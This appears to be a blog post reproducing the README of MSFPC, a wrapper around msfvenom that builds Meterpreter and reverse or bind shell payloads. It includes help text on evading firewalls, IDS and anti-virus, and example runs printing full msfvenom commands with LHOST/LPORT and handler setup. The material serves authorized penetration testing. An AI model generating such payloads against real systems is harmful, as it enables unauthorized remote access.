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MSFPC - MSFvenom Payload Creator

| Post sponsored by FaradaySEC | Multiuser Pentest Environment

A quick way to generate various "basic" Meterpreter payloads via msfvenom (part of the Metasploit framework).

About
MSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.
Fully automating msfvenom & Metasploit is the end goal (well as to be be able to automate MSFPC itself). The rest is to make the user's life as easy as possible (e.g. IP selection menu, msfconsole resource file/commands, batch payload production and able to enter any argument in any order (in various formats/patterns)).
The only necessary input from the user should be defining the payload they want by either the platform (e.g. windows), or the file extension they wish the payload to have (e.g. exe).
  • Can't remember your IP for a interface? Don't sweat it, just use the interface name: eth0.
  • Don't know what your external IP is? MSFPC will discover it: wan.
  • Want to generate one of each payload? No issue! Try: loop.
  • Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: batch (for everything), batch msf (for every Meterpreter option), batch staged (for every staged payload), or batch cmd stageless (for every stageless command prompt)!
Note: This will NOT try to bypass any anti-virus solutions at any stage.


Install
  • Designed for Kali Linux v2.x/Rolling & Metasploit v4.11+.
  • Kali v1.x should work.
  • OSX 10.11+ should work.
  • Weakerth4n 6+ should work.
  • ...nothing else has been tested.
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc

Kali-Linux
MSFPC is already packaged in Kali Rolling, so all you have to-do is:
root@kali:~# apt install -y msfpc

Help

$ bash msfpc.sh -h -v
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
   Example: msfpc.sh windows 192.168.1.10        # Windows & manual IP.
            msfpc.sh elf bind eth0 4444          # Linux, eth0's IP & manual port.
            msfpc.sh stageless cmd py https      # Python, stageless command prompt.
            msfpc.sh verbose loop eth1           # A payload for every type, using eth1's IP.
            msfpc.sh msf batch wan               # All possible Meterpreter payloads, using WAN IP.
            msfpc.sh help verbose                # Help screen, with even more information.

 <TYPE>:
   + APK
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]<   br/>   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .dll]

 Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
 Missing <DOMAIN/IP> will default to the IP menu.

 Missing <PORT> will default to 443.

 <CMD> is a standard/native command prompt/terminal to interactive with.
 <MSF> is a custom cross platform shell, gaining the full power of Metasploit.
 Missing <CMD/MSF> will default to <MSF> where possible.
   Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
 <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
 <MSF> payloads are generally much l   arger than <CMD>, as it comes with more features.

 <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
 <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
 Missing <BIND/REVERSE> will default to <REVERSE>.
 <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.

 <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
 <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
 Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
   Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
 <STA   GED> are 'better' in low-bandwidth/high-latency environments.
 <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
 More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
                   https://www.offensive-security.com/metasploit-unleashed/payload-types/
                   https://www.offensive-security.com/metasploit-unleashed/payloads/

 <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
 <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
 <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
    <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
 Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
 By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
 More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication

 <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
 <LOOP> will just create one of each <TYPE>.

 <VERBOSE> will display more information.
$

Example #1 (Windows, Fully Automated Using Manual IP)
$ bash msfpc.sh windows 192.168.1.10
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]   IP: 192.168.1.10
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
  > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
$

Example #2 (Linux Format, Fully Automated Using Manual Interface and Port)
$ ./msfpc.sh elf bind eth0 4444 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]        IP: 192.168.103.142
 [i]      PORT: 4444
 [i]      TYPE: linux (linux/x86/shell/bind_tcp)
 [i]     SHELL: shell
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
  --platform linux -a x86 -e generic/none  LPORT=4444 \
  > '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
 [i] Size: 4.0K
 [i]  MD5: eed4623b765eea623f2e0206b63aad61
 [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185

 [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
    [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
$

Example #3 (Python Format, Interactive IP Menu)
$ msfpc stageless cmd py tcp
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) eth0 - 192.168.103.142
 [i]   2.) lo - 127.0.0.1
 [i]   3.) wan - 31.204.154.174
 [?] Select 1-3, interface or IP address: 1

 [i]   IP: 192.168.103.142
 [i] PORT: 443
 [i] TYPE: python (python/shell_reverse_tcp)
 [i]  CMD: msfvenom -p python/shell_reverse_tcp -f raw \
  --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
  > '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!
$
Note: Removed WAN IP.

Example #4 (Loop - Generates one of everything)
$ ./msfpc.sh loop wan
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i] Loop Mode. Creating one of each TYPE, with default values

 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]   IP: xxx.xxx.xxx.xxx
 [i] PORT: 443
 [i] TYPE: android (android/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=xxx.xxx.xxx.xxx LPORT=443 \
  > '/root/android-meterpreter-stageless-reverse-tcp-443.apk'

 [i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'

 [i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
 [i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!


 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

...SNIP...

 [*] Done!

$
Note: Removed WAN IP.


To-Do List
  • Shellcode generation
  • x64 payloads
  • IPv6 support
  • Look into using OS scripting more (powershell_bind_tcp & bind_perl etc)


MSFPC - MSFvenom Payload Creator MSFPC - MSFvenom Payload Creator Reviewed by Zion3R on 8:30 AM Rating: 5